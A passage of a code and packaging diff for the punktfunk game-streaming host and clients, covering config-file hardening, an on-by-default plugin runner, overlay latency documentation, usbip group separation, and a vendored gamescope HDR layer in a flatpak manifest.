// environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`).
|
||||
if let Some(dir) = path.parent() {
|
||||
// DACL-lock the config dir on creation so a local user can't pre-create it and plant a
|
||||
// host.env (which feeds the SYSTEM service's env + command line) — security-review #3.
|
||||
pf_paths::create_private_dir(dir).ok();
|
||||
}
|
||||
if path.exists() {
|
||||
// An existing host.env may predate the hardening (or have been planted before it ran), in
|
||||
// which case it is still owned by whoever created it — and an owner can rewrite the DACL it
|
||||
// inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory.
|
||||
pf_paths::restrict_existing_secret_file(&path);
|
||||
return Ok(());
|
||||
}
|
||||
let default = "# punktfunk host configuration (read by the Windows service).\n\
|
||||
# KEY=VALUE per line; '#' comments. Restart the service after editing:\n\
|
||||
# punktfunk-host service stop && punktfunk-host service start\n\
|
||||
|
||||
@@ -108,10 +108,16 @@ the full path: `& "$env:ProgramFiles\punktfunk\punktfunk-host.exe" plugins add p
|
||||
Open the [web console](/docs/web-console) and the plugin's page appears in the nav automatically —
|
||||
that's the whole install.
|
||||
|
||||
The runner is **opt-in**: `plugins add` installs, `plugins enable` turns it on. You only need
|
||||
`enable` once. The runner discovers plugins when it starts, so one installed later needs a restart
|
||||
to come up (`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting`
|
||||
task) — the console does that restart for you as part of installing.
|
||||
The runner is **on by default** on a new install — your game sources are plugins, so a host without
|
||||
it would show an empty library. (On a host that predates this, it stays however you left it; turn it
|
||||
on with `punktfunk-host plugins enable`, which you only need once.) The runner discovers plugins
|
||||
when it starts, so one installed later needs a restart to come up
|
||||
(`systemctl --user restart punktfunk-scripting`, or `Restart` the `PunktfunkScripting` task) — the
|
||||
console does that restart for you as part of installing.
|
||||
|
||||
Don't want it? It is a normal service you can switch off: `systemctl --user mask punktfunk-scripting`
|
||||
on Linux, or disable the `PunktfunkScripting` scheduled task on Windows. Your host keeps streaming;
|
||||
you just lose plugin-provided game sources and any automation.
|
||||
|
||||
A plugin installed from the CLI shows up in the console as **Installed via CLI**: the console knows
|
||||
what is installed, but not who vouched for it. Install the same plugin from the store's Browse tab
|
||||
@@ -301,8 +307,8 @@ host's, on one timeline, with the same search and download. Each is tagged `plug
|
||||
plugin's own name for lines it logged itself, `plugin:runner` for the supervisor's (starting a
|
||||
plugin, restarting a crashed one, refusing an unsafe file).
|
||||
|
||||
An empty Plugins view almost always means the runner isn't running — it is a separate service, and
|
||||
opt-in on Linux. Check with `punktfunk-host plugins status`.
|
||||
An empty Plugins view almost always means the runner isn't running — it is a separate service. Check
|
||||
with `punktfunk-host plugins status`.
|
||||
|
||||
<Callout>
|
||||
Nothing is lost if the host is down: the runner keeps buffering and sends the backlog when the host
|
||||
|
||||
@@ -7,13 +7,20 @@ Every Punktfunk client has an in-stream stats overlay. All clients use **the sam
|
||||
vocabulary and the same four measurement points**, so a stage name on your phone means
|
||||
what the same name means on your desktop.
|
||||
|
||||
Two platforms differ in the *math*: on **iOS and tvOS** the headline is **floor-shaved**.
|
||||
The fixed depth of Apple's present pipeline — roughly two refresh intervals, which no
|
||||
client can pace under — is excluded from it, and the Detailed tier prints the excluded
|
||||
Some platforms differ in the *math*: on **iOS, tvOS and Android** the headline is
|
||||
**floor-shaved**. The depth of the OS present pipeline — the compositor's own wait, which
|
||||
no client can pace under — is excluded from it, and the Detailed tier prints the excluded
|
||||
term on its own line as `os present +X.X excluded (display pipeline minimum)`. Add that
|
||||
floor back before holding an iPhone, iPad or Apple TV's `capture→on-glass` next to a
|
||||
macOS, Linux, Windows or Android one. (The macOS client shaves nothing: it presents
|
||||
straight to the display, with no such pipeline depth to measure, so its numbers are raw.)
|
||||
floor back before holding an iPhone, iPad, Apple TV or Android device's headline next to a
|
||||
macOS, Linux or Windows one. (The macOS client shaves nothing: it presents straight to the
|
||||
display, with no such pipeline depth to measure, so its numbers are raw.)
|
||||
|
||||
The floor is **measured, not assumed**, and it is not small: it is commonly one to two
|
||||
refresh intervals, which on a 60 Hz phone is more than 30 ms — enough on its own to dwarf
|
||||
everything Moonlight's overlay displays. Charging it to the stream made Punktfunk look
|
||||
slower than clients that simply never measure that far (see
|
||||
[Comparing with Moonlight / Sunshine](#comparing-with-moonlight--sunshine)), so we report
|
||||
it rather than bury it in the total.
|
||||
|
||||
## The four measurement points
|
||||
|
||||
@@ -47,7 +54,7 @@ captured input, switch mouse mode, disconnect, mute the microphone — are in
|
||||
lost). **Normal** adds the stream line and the p50/p95 headline. **Detailed** adds the per-stage
|
||||
breakdown everywhere; on Linux/Windows it also adds the encoder's target bitrate, the decode path,
|
||||
an HDR tag and a chroma tag, on Android the decoder plus the full codec/bit-depth/colour line, and
|
||||
on iOS/tvOS the excluded OS present floor.
|
||||
on iOS, tvOS and Android the excluded OS present floor.
|
||||
You can also set the level a stream starts at in each client's
|
||||
[Settings](/docs/client-settings#overlay). The examples below are the **Detailed** view.
|
||||
|
||||
@@ -68,14 +75,16 @@ present: mailbox
|
||||
lost 3 (2.4%)
|
||||
```
|
||||
|
||||
Android:
|
||||
Android (headline and `display` both floor-shaved, like the Apple clients — the raw
|
||||
end-to-end here is 30.9 ms, the 16.7 ms floor of a 120 Hz panel included):
|
||||
|
||||
```
|
||||
1920×1080@120 120 fps 24.3 Mb/s
|
||||
c2.qti.hevc.decoder · low-latency
|
||||
HEVC · 10-bit · HDR (BT.2020 PQ) · 4:2:0
|
||||
end-to-end 14.2 ms p50 · 19.8 p95 · capture→displayed
|
||||
= host 3.1 + network 6.7 + decode 2.1 + display 2.3
|
||||
= host 3.1 + network 6.7 + decode 2.1 + display 2.3 · presents 119
|
||||
os present +16.7 excluded (display pipeline minimum)
|
||||
lost 3 (2.4%) · skipped 1 · FEC 12
|
||||
```
|
||||
|
||||
@@ -131,18 +140,22 @@ lost 3 (2.4%)
|
||||
the screen's refresh cycle, not the stream; a large `pace` is us. (`pace` is also the
|
||||
fair number to compare against an iPhone or iPad, whose figure already has its
|
||||
equivalent of `latch` removed.)
|
||||
- `os present` *(iOS and tvOS)* — the fixed depth of the OS present pipeline, which is
|
||||
- `os present` *(iOS, tvOS and Android)* — the depth of the OS present pipeline, which is
|
||||
excluded from both the headline and `display` and printed here so you can add it
|
||||
back.
|
||||
back. On Android it is the measured time SurfaceFlinger took to latch and scan out each
|
||||
frame, so it moves with your panel's rate and with whatever low-latency mode the vendor
|
||||
applied; on Apple it is measured from the display link's own lead.
|
||||
- `client queue` *(Apple only)* — how long a received frame waited before the decoder
|
||||
pulled it. It's the front part of `decode`, not time on top of it. Hidden below 2 ms;
|
||||
a value that persists is a standing receive backlog on the client.
|
||||
- `display X (pace A + latch B)` and `presents N` *(Android only)* — when the timeline presenter
|
||||
is running it splits `display` in two: `pace` is the wait it deliberately holds the frame for
|
||||
its target refresh, `latch` is SurfaceFlinger picking it up and scanning it out. `presents`
|
||||
counts the frames confirmed on glass this second — well below `fps` means the presenter is
|
||||
dropping or serializing frames; an `fps` shortfall with `presents` keeping up is upstream of
|
||||
the client.
|
||||
- `presents N` *(Android only)* — the frames confirmed on glass this second. Well below `fps`
|
||||
means the presenter is dropping or serializing frames; an `fps` shortfall with `presents`
|
||||
keeping up is upstream of the client.
|
||||
- `display X (pace A + latch B)` *(Android, only when the floor couldn't be measured)* — with
|
||||
the floor excluded, Android's `display` term is already just `pace` (the wait the presenter
|
||||
deliberately holds a frame for its target refresh) and `latch` is what the `os present` line
|
||||
reports. On the rare window where no latch sample pairs up, nothing is excluded and `display`
|
||||
reverts to the raw figure with both halves shown.
|
||||
|
||||
Against an **older host** that doesn't report its share yet, the first two terms
|
||||
merge into a single `host+network` number (`host+net` on Linux/Windows) — same total,
|
||||
@@ -190,12 +203,13 @@ pretending:
|
||||
| Windows, Linux | `capture→on-glass` | present instant available (measured right after the Vulkan swapchain present); published raw |
|
||||
| macOS (Metal presenter) | `capture→on-glass` | present instant available (the system's on-glass time for the flip); published raw |
|
||||
| iOS/tvOS (Metal presenter) | `capture→on-glass` | present instant available, but the OS present floor is **excluded** from the number and printed separately as `os present +X.X excluded` |
|
||||
| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` |
|
||||
| Android | `capture→displayed` | MediaCodec's per-frame render callback reports SurfaceFlinger's render timestamp, and the OS present floor measured from it is **excluded** from the number and printed separately as `os present +X.X excluded`; on the rare window where no callback is delivered (the platform may drop them under load) the HUD falls back to `capture→decoded` |
|
||||
| macOS/iOS fallback presenter | `capture→received` | the system video layer hides decode and present timing entirely |
|
||||
|
||||
A shorter chain means the number is **smaller because it measures less** — check the
|
||||
endpoint before comparing two devices, and add the excluded `os present` floor back to an
|
||||
iOS or tvOS client's headline before holding it next to another platform's.
|
||||
iOS, tvOS or Android client's headline before holding it next to a macOS, Linux or Windows
|
||||
one.
|
||||
|
||||
## Comparing with Moonlight / Sunshine
|
||||
|
||||
@@ -235,8 +249,8 @@ stands in for a one-way frame flight that Moonlight doesn't measure.)
|
||||
| `Frames dropped due to network jitter` | Decoded frames the *client's pacer* chose to drop ÷ decoded frames | `skipped` (line 4, Android only) | Approximately (both are client-side pacing decisions, despite Moonlight's name) |
|
||||
| `Average network latency` | The **control connection's round-trip time** (ENet RTT + variance) — not video frame latency | `network` (line 3) is the closest concept, but it's the *actual one-way frame path* (flight + reassembly), not an RTT | **No direct comparison.** Roughly, Punktfunk's `network` ≈ ½ × an idle RTT plus serialization time of the frame |
|
||||
| `Average decoding time` | Mean time from decoder enqueue to picture out | `decode` (p50) | Yes (mean vs median; both include decoder queueing) |
|
||||
| `Average frame queue delay` | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → |
|
||||
| `Average rendering time (incl. V-sync latency)` | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` |
|
||||
| `Average frame queue delay` *(desktop only)* | Mean time a decoded frame waits for its vsync slot | inside `display` | Sum the two Moonlight lines → |
|
||||
| `Average rendering time (incl. V-sync latency)` *(desktop only)* | Mean duration of the present call | inside `display` | …and compare against Punktfunk's `display` |
|
||||
| *(no equivalent)* | — | `end-to-end` — true capture→glass, clock-skew-corrected across machines | **Punktfunk only** |
|
||||
| *(no equivalent)* | — | `FEC` recovered shards (loss absorbed invisibly; Android only) | Punktfunk only |
|
||||
|
||||
@@ -250,6 +264,14 @@ Other differences worth knowing when squinting at both overlays side by side:
|
||||
- **Host frame rate.** Moonlight's headline FPS estimates what the *host* produced
|
||||
(received + lost). Punktfunk shows what your client actually received, and reports
|
||||
loss separately.
|
||||
- **On Android, Moonlight's numbers stop at the decoder.** The two lines above that cover
|
||||
presentation are desktop-only: Moonlight's Android overlay measures nothing after the
|
||||
decoder produces the picture, so no part of the wait for the screen appears anywhere in
|
||||
it — and the popular Android forks measure the same slice. Its `Average decoding time` is
|
||||
therefore comparable to Punktfunk's `decode`, and to nothing else; on Android there is no
|
||||
Moonlight number that includes what your screen contributes. That asymmetry is why
|
||||
Punktfunk excludes the `os present` floor on Android too, and why adding that floor back
|
||||
is the right move when you want the whole truth rather than a like-for-like comparison.
|
||||
|
||||
## Recording a capture for a bug report
|
||||
|
||||
|
||||
@@ -4,8 +4,17 @@ _ensure_update_group() {
|
||||
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true
|
||||
}
|
||||
|
||||
_ensure_punktfunk_group() {
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on
|
||||
# purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only
|
||||
# kernel primitive and must not ride on the group users are told to join for gamepads
|
||||
# (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true
|
||||
}
|
||||
|
||||
post_install() {
|
||||
_ensure_update_group
|
||||
_ensure_punktfunk_group
|
||||
udevadm control --reload-rules 2>/dev/null || true
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || true
|
||||
# Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl).
|
||||
@@ -14,6 +23,9 @@ post_install() {
|
||||
punktfunk-host installed.
|
||||
1. Add yourself to the 'input' group for virtual gamepads:
|
||||
sudo usermod -aG input "$USER" # then re-login
|
||||
Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk':
|
||||
sudo usermod -aG punktfunk "$USER"
|
||||
That group can emulate arbitrary USB devices — join it only on a machine you trust.
|
||||
2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck):
|
||||
mkdir -p ~/.config/punktfunk
|
||||
cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env
|
||||
|
||||
@@ -98,6 +98,23 @@ if [ -n "$GAMESCOPE" ]; then
|
||||
install -Dm0755 "$GAMESCOPE" "$STAGE/usr/bin/punktfunk-gamescope"
|
||||
fi
|
||||
|
||||
# Enable the plugin/script runner for every user, by baking its `[Install] WantedBy=default.target`
|
||||
# symlink straight into the image.
|
||||
#
|
||||
# A sysext carries only /usr, and RPM scriptlets never run from one — so the `systemctl --global
|
||||
# enable` the .rpm/.deb do at install time has no equivalent here, and without this the runner would
|
||||
# ship present-but-off on exactly the platform (Bazzite / Fedora Atomic) where an operator is least
|
||||
# likely to go hunting for it. The game-library scanners are plugins now (design D9), so an
|
||||
# unenabled runner means an empty library.
|
||||
#
|
||||
# Opt-out is unchanged and still wins: `systemctl --user mask punktfunk-scripting` in the user's own
|
||||
# ~/.config/systemd/user takes precedence over anything under /usr.
|
||||
if [ -f "$STAGE/usr/lib/systemd/user/punktfunk-scripting.service" ]; then
|
||||
install -d "$STAGE/usr/lib/systemd/user/default.target.wants"
|
||||
ln -sf ../punktfunk-scripting.service \
|
||||
"$STAGE/usr/lib/systemd/user/default.target.wants/punktfunk-scripting.service"
|
||||
fi
|
||||
|
||||
# Self-update: the helper rides inside the image.
|
||||
install -Dm0755 "$HERE/punktfunk-sysext.sh" "$STAGE/usr/bin/punktfunk-sysext"
|
||||
|
||||
|
||||
@@ -289,6 +289,11 @@ set -e
|
||||
if [ "$1" = "configure" ]; then
|
||||
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
|
||||
getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input':
|
||||
# writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel
|
||||
# primitive that must not ride on the group users are told to join for gamepads
|
||||
# (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true
|
||||
# Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers).
|
||||
udevadm control --reload-rules 2>/dev/null || true
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || true
|
||||
@@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then
|
||||
sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true
|
||||
echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:"
|
||||
echo " sudo usermod -aG input \"\$USER\" # then re-login"
|
||||
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\""
|
||||
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
|
||||
echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env"
|
||||
echo "Enable: systemctl --user enable --now punktfunk-host"
|
||||
# Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present.
|
||||
|
||||
@@ -114,20 +114,36 @@ Description: punktfunk plugin/script runner (Effect SDK on bun)
|
||||
capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run).
|
||||
Bundles its own bun runtime (no system nodejs/bun dependency).
|
||||
.
|
||||
OPT-IN: the systemd --user unit is installed but not auto-enabled (the runner is inert until you add
|
||||
scripts or plugins). A plugin auto-wires to the host's mgmt token + identity cert on the same box —
|
||||
no env editing. Enable it with: systemctl --user enable --now punktfunk-scripting
|
||||
ON BY DEFAULT: the systemd --user unit is enabled for every user (systemctl --global). The runner is
|
||||
inert until you add scripts or plugins, and the game-library scanners now ship AS plugins — so a
|
||||
host without the runner has an empty library and no obvious reason why. A plugin auto-wires to the
|
||||
host's mgmt token + identity cert on the same box — no env editing.
|
||||
Opt out per user with: systemctl --user mask punktfunk-scripting
|
||||
EOF
|
||||
|
||||
cat > "$STAGE/DEBIAN/postinst" <<'EOF'
|
||||
#!/bin/sh
|
||||
set -e
|
||||
if [ "$1" = "configure" ]; then
|
||||
echo "punktfunk-scripting installed. It runs your automation — add scripts to"
|
||||
# `--global`, not `--user`: a maintainer script has no user session to act on, and this is the
|
||||
# only mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into
|
||||
# /etc/systemd/user/…wants/). The library's scanners are plugins now, so the runner is a default
|
||||
# component rather than an add-on (design D9) — but installing it stays opt-OUT, and the opt-out
|
||||
# is `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a
|
||||
# global symlink.
|
||||
#
|
||||
# Only on FIRST configure ($2 empty): re-running it on every upgrade would silently undo the
|
||||
# mask of anyone who turned it off.
|
||||
if [ -z "$2" ] && command -v systemctl >/dev/null 2>&1; then
|
||||
systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || true
|
||||
fi
|
||||
echo "punktfunk-scripting installed and enabled for all users."
|
||||
echo "It runs your automation — game-library sources, scripts in"
|
||||
echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)"
|
||||
echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-<name>),"
|
||||
echo "then enable the runner for your user:"
|
||||
echo " systemctl --user enable --now punktfunk-scripting"
|
||||
echo "and plugins under ~/.config/punktfunk/plugins/."
|
||||
echo "It starts with your next login; start it now with:"
|
||||
echo " systemctl --user start punktfunk-scripting"
|
||||
echo "Don't want it? systemctl --user mask punktfunk-scripting"
|
||||
fi
|
||||
exit 0
|
||||
EOF
|
||||
|
||||
@@ -85,28 +85,43 @@ finish-args:
|
||||
# --- persistent client identity / pairing store (shared with punktfunk-probe) ---
|
||||
- --filesystem=~/.config/punktfunk:create # client-{cert,key}.pem, known-hosts, settings
|
||||
# --- HDR under gamescope (Steam Deck Game Mode) ---
|
||||
# A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so the SDL3 surface never
|
||||
# offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps PQ->SDR — the
|
||||
# Game-Mode HDR indicator stays dark (verified on a Deck OLED: the sandbox loader found NO
|
||||
# frog/gamescope layer). The layer ships as the runtime extension
|
||||
# `org.freedesktop.Platform.VulkanLayer.gamescope`, which org.gnome.Platform//50 auto-mounts at
|
||||
# /usr/lib/extensions/vulkan/gamescope once installed (a one-time, per-Deck step; keep it in the
|
||||
# Decky plugin's setup / docs):
|
||||
# flatpak install --user -y flathub org.freedesktop.Platform.VulkanLayer.gamescope//25.08
|
||||
# THREE things are needed, not two (verified live on a Deck OLED — the env vars alone left
|
||||
# hdr10_format=None). (1) VK_ADD_IMPLICIT_LAYER_PATH puts the layer's implicit-layer JSON on the
|
||||
# Vulkan loader's search path (the runtime point mounts the files but not onto the path). (2)
|
||||
# ENABLE_GAMESCOPE_WSI flips the layer's own `enable_environment` gate. (3) The layer, once
|
||||
# loaded, must open a *Wayland* connection to gamescope's private socket ($GAMESCOPE_WAYLAND_DISPLAY
|
||||
# = gamescope-0) to negotiate the HDR10 colorspace via the gamescope_swapchain protocol — but the
|
||||
# Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported), so --socket=wayland
|
||||
# binds nothing and that socket never enters the sandbox. Without it the layer loads, maps, and
|
||||
# silently can't reach the compositor → no HDR10 offered → PQ tone-mapped to SDR, badge dark.
|
||||
# Binding xdg-run/gamescope-0 is the missing half (chiaki-ng does the same). With all three the
|
||||
# surface offers HDR10 and the presenter's existing HDR10 swapchain path engages — no client code
|
||||
# change. Harmless off-Deck: the layer no-ops when there's no gamescope socket to bind.
|
||||
- --env=VK_ADD_IMPLICIT_LAYER_PATH=/usr/lib/extensions/vulkan/gamescope/share/vulkan/implicit_layer.d
|
||||
# A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so without help the SDL3
|
||||
# surface never offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps
|
||||
# PQ->SDR — the field-reported "HDR->SDR" badge. The layer is now VENDORED (see the
|
||||
# gamescope-wsi-layer module below), so it is always present and there is no longer any
|
||||
# manual `flatpak install ... VulkanLayer.gamescope` step for the user.
|
||||
# FOUR things are needed. An earlier revision of this block claimed three and was WRONG: the
|
||||
# fourth is the gate that makes the other three moot, so the Deck sat at hdr10_format=None with
|
||||
# all of (1)-(3) in place, which is exactly the field report ("HDR->SDR" in the stats overlay).
|
||||
# (1) the layer's implicit-layer JSON must be on the Vulkan loader's search path — now
|
||||
# automatic, the vendored module installs it to /app/share/vulkan/implicit_layer.d which
|
||||
# XDG_DATA_DIRS already covers. (2) ENABLE_GAMESCOPE_WSI
|
||||
# flips the layer's own `enable_environment` gate. (3) --filesystem=xdg-run/gamescope-0 binds
|
||||
# gamescope's private Wayland socket: the layer must reach the compositor over it to negotiate
|
||||
# HDR10, and the Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported) so
|
||||
# --socket=wayland binds nothing (chiaki-ng does the same). (4) GAMESCOPE_WAYLAND_DISPLAY must be
|
||||
# set INSIDE the sandbox. The layer's `isRunningUnderGamescope()` reads that env var and nothing
|
||||
# else; flatpak does not forward host env, so it arrives unset and the layer's CreateInstance
|
||||
# early-returns before it ever creates a GamescopeInstance. The layer still LOADS and still logs
|
||||
# its generic bits ("Forcing on VK_EXT_swapchain_maintenance1", swapchain destroys), which is why
|
||||
# this reads as working — but no gamescope surface is made, so no HDR10 format is ever appended
|
||||
# and (1)-(3) buy nothing. Measured on a Deck OLED (Galileo, SteamOS 3.8.16) 2026-08-05, client
|
||||
# `--browse`, reading `pf_presenter::vk::setup` "swapchain config":
|
||||
# unset -> no "[Gamescope WSI] Surface state" block at all, hdr10_format=None
|
||||
# set, hdr_enabled=0 -> "server hdr output enabled: false", hdr10_format=None
|
||||
# set, hdr_enabled=1 -> "hdr formats exposed to client: true",
|
||||
# hdr10_format=Some(A2B10G10R10_UNORM_PACK32, HDR10_ST2084_EXT)
|
||||
# DXVK_HDR is NOT the gate for us and was ruled out by measurement: the layer forces it OFF for
|
||||
# clients it has already decided to deny, it does not turn HDR on.
|
||||
# Hardcoding `gamescope-0` matches the socket bound just below, and is safe off-Deck both ways:
|
||||
# on a normal Wayland desktop --socket=wayland sets WAYLAND_DISPLAY=wayland-0 inside the sandbox
|
||||
# and the layer bails on the mismatch; on X11-only there is no gamescope socket to connect to, so
|
||||
# it prints one "Bypass layer will be unavailable" line and passes through.
|
||||
# The REMAINING gate is not ours: gamescope's `hdr_enabled` convar (Steam's HDR display setting)
|
||||
# drives the GAMESCOPE_HDR_OUTPUT_FEEDBACK X property the layer reads, and with it off no app on
|
||||
# the Deck gets HDR. See docs — that one is a user/Decky-side step, not a packaging one.
|
||||
- --env=ENABLE_GAMESCOPE_WSI=1
|
||||
- --env=GAMESCOPE_WAYLAND_DISPLAY=gamescope-0 # the layer's ONLY "am I under gamescope?" signal
|
||||
- --filesystem=xdg-run/gamescope-0 # gamescope's private Wayland socket (HDR negotiation)
|
||||
|
||||
build-options:
|
||||
@@ -180,6 +195,84 @@ modules:
|
||||
cleanup:
|
||||
- '*'
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# gamescope WSI layer — VENDORED, so HDR works from a plain `flatpak install` with no
|
||||
# second step. This is the ONLY route to HDR on a Deck: measured on SteamOS 3.8.16
|
||||
# (gamescope 3.16.23.4), the gamescope-0 socket advertises `gamescope_swapchain_factory_v2`
|
||||
# but NOT `wp_color_manager_v1` (checked with HDR both off and on), so Mesa's Wayland WSI
|
||||
# has no colour-management protocol to negotiate HDR10 through and only this layer can add
|
||||
# the ST.2084 surface formats. Without it: zero `[Gamescope WSI]` lines, hdr10_format=None.
|
||||
#
|
||||
# It used to come from the flathub runtime extension
|
||||
# `org.freedesktop.Platform.VulkanLayer.gamescope`, which every user had to install BY HAND
|
||||
# (documented only in a comment here — so in practice nobody did, and the field report was
|
||||
# "HDR->SDR" in the stats overlay). Vendoring instead of `add-extensions` autodownload,
|
||||
# deliberately: that extension is 94 MB of whole-gamescope to deliver one 4 MB .so, its
|
||||
# layer JSON hardcodes a /usr `library_path` that an app-scoped extension (mounted under
|
||||
# /app) would not satisfy, and it would make flathub a hard install-time dependency of an
|
||||
# app we self-host on flatpak.unom.io.
|
||||
#
|
||||
# Pinned to the SAME gamescope rev as packaging/gamescope/PKGBUILD (`_gsrev`) so the
|
||||
# client's layer and the host's punktfunk-gamescope always come from one tree — bump both
|
||||
# together. `enable_gamescope=false` skips subdir('src') and every compositor dependency
|
||||
# (wlroots, SDL2, libliftoff, ...); only protocol/ and layer/ are built.
|
||||
#
|
||||
# `buildsystem: simple` rather than `meson` because two subprojects need their wrap
|
||||
# `patch_directory` applied by hand: glm and stb ship NO meson.build of their own, and the
|
||||
# one meson would normally inject lives in subprojects/packagefiles/. Cloning them as plain
|
||||
# sources without that copy fails at configure with "Subproject exists but has no
|
||||
# meson.build file". `--wrap-mode=nodownload` then proves the build is genuinely offline.
|
||||
#
|
||||
# The layer JSON is generated by meson from prefix+libdir, so it self-writes
|
||||
# `library_path: /app/lib/libVkLayer_FROG_gamescope_wsi_x86_64.so` and lands in
|
||||
# /app/share/vulkan/implicit_layer.d — already on the loader's search path via
|
||||
# XDG_DATA_DIRS, which is why no VK_ADD_IMPLICIT_LAYER_PATH is needed (and why it was
|
||||
# dropped from finish-args: pointing at the old /usr extension path too would risk
|
||||
# double-loading two layers of the same name).
|
||||
#
|
||||
# Verified on a Deck OLED 2026-08-05: builds offline in org.gnome.Sdk//50, and the
|
||||
# resulting .so drives the Deck's system gamescope to
|
||||
# "hdr formats exposed to client: true" + hdr10_format=Some(...).
|
||||
# ---------------------------------------------------------------------------------------
|
||||
- name: gamescope-wsi-layer
|
||||
buildsystem: simple
|
||||
build-commands:
|
||||
# Apply the wraps' patch_directory by hand (see above) — these supply the meson.build
|
||||
# that glm and stb do not ship themselves.
|
||||
- cp -r subprojects/packagefiles/glm/. subprojects/glm/
|
||||
- cp -r subprojects/packagefiles/stb/. subprojects/stb/
|
||||
- meson setup _build --prefix=/app --libdir=lib --wrap-mode=nodownload
|
||||
-Denable_gamescope=false -Denable_gamescope_wsi_layer=true
|
||||
-Denable_tests=false -Denable_openvr_support=false
|
||||
- ninja -C _build
|
||||
- ninja -C _build install
|
||||
sources:
|
||||
- type: git
|
||||
url: https://github.com/ValveSoftware/gamescope.git
|
||||
# KEEP IN SYNC with `_gsrev` in packaging/gamescope/PKGBUILD.
|
||||
commit: 8c676c399c761e4540587f61004c957993d12fea
|
||||
# Submodule + wrap pins as of that rev. `git ls-tree <rev> subprojects/` for the
|
||||
# submodules; subprojects/*.wrap for the rest.
|
||||
- type: git
|
||||
url: https://github.com/Joshua-Ashton/vkroots.git
|
||||
commit: 5106d8a0df95de66cc58dc1ea37e69c99afc9540
|
||||
dest: subprojects/vkroots
|
||||
- type: git
|
||||
url: https://github.com/g-truc/glm.git
|
||||
commit: 0af55ccecd98d4e5a8d1fad7de25ba429d60e863
|
||||
dest: subprojects/glm
|
||||
- type: git
|
||||
url: https://github.com/nothings/stb.git
|
||||
commit: 5736b15f7ea0ffb08dd38af21067c314d6a3aae9
|
||||
dest: subprojects/stb
|
||||
cleanup:
|
||||
# Only the .so and its implicit-layer JSON are runtime. vkroots installs its dev files
|
||||
# from the subproject, and the layer-only install still drops gamescope's display .lua
|
||||
# scripts + LUT .cube files, none of which a client uses.
|
||||
- /include
|
||||
- /lib/pkgconfig
|
||||
- /share/gamescope
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# The client. cargo-sources.json is the GENERATED offline crate cache:
|
||||
# python3 flatpak-cargo-generator.py Cargo.lock -o packaging/flatpak/cargo-sources.json
|
||||
|
||||
@@ -6,7 +6,8 @@
|
||||
Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically
|
||||
(packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web)
|
||||
AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992
|
||||
(HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with
|
||||
(HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below).
|
||||
The streaming host itself does not need this open; enable it deliberately with
|
||||
firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web
|
||||
profile instead.
|
||||
|
||||
@@ -18,4 +19,12 @@
|
||||
<short>Punktfunk web console</short>
|
||||
<description>The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN.</description>
|
||||
<port protocol="tcp" port="47992"/> <!-- HTTPS web console (login-gated) -->
|
||||
<!--
|
||||
Plugin UIs, on their OWN ORIGIN. Not a second console: a plugin's interface is third-party code,
|
||||
and serving it on the console's origin let it act as the logged-in operator (security-review
|
||||
2026-08-05 H-3). Same host, same certificate, different port — a different origin to the browser,
|
||||
but still same-site, so the session cookie reaches it. Login-gated exactly like the console.
|
||||
Only needed if you use plugins that ship a UI and want to reach them from another device.
|
||||
-->
